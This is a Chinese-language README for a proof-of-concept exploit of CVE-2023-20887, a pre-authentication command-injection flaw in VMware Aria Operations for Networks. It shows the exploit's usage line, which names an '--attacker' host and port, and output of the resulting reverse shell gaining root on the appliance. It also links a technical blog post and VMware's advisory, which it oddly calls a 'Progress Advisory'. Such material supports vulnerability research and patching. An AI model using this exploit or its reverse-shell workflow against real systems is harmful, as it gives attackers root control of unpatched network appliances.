CVE-2023-20887

CVE-2023-20887 的概念验证 - VMWare Aria Operations for Networks（vRealize Network Insight）未授权远程代码执行

技术分析

漏洞的根本原因分析可在我的博客中找到： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/

概述

当通过 Apache Thrift RPC 接口接受用户输入时，VMWare Aria Operations for Networks（vRealize Network Insight）存在命令注入漏洞。该漏洞允许远程未认证攻击者以 root 用户身份在底层操作系统上执行任意命令。RPC 接口受到反向代理保护，但该反向代理可被绕过。VMware 已将此问题的严重性评估为严重级别，CVSSv3 基础评分最高为 9.8。恶意攻击者可在设备上以 'root' 上下文执行远程代码。VMWare 6.x 版本受影响。

用法

python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release

缓解措施

更新到最新版本，或按照 Progress Advisory 中的说明进行缓解。

• https://www.vmware.com/security/advisories/VMSA-2023-0012.html

在Twitter上关注我们以获取最新安全研究：

• SinSinology
• SummoningTeam

免责声明

本软件纯粹出于学术研究和开发有效防御技术的目的而创建，除非获得明确授权，否则不应用于攻击系统。项目维护者不对软件的滥用负责或承担责任。请负责任地使用。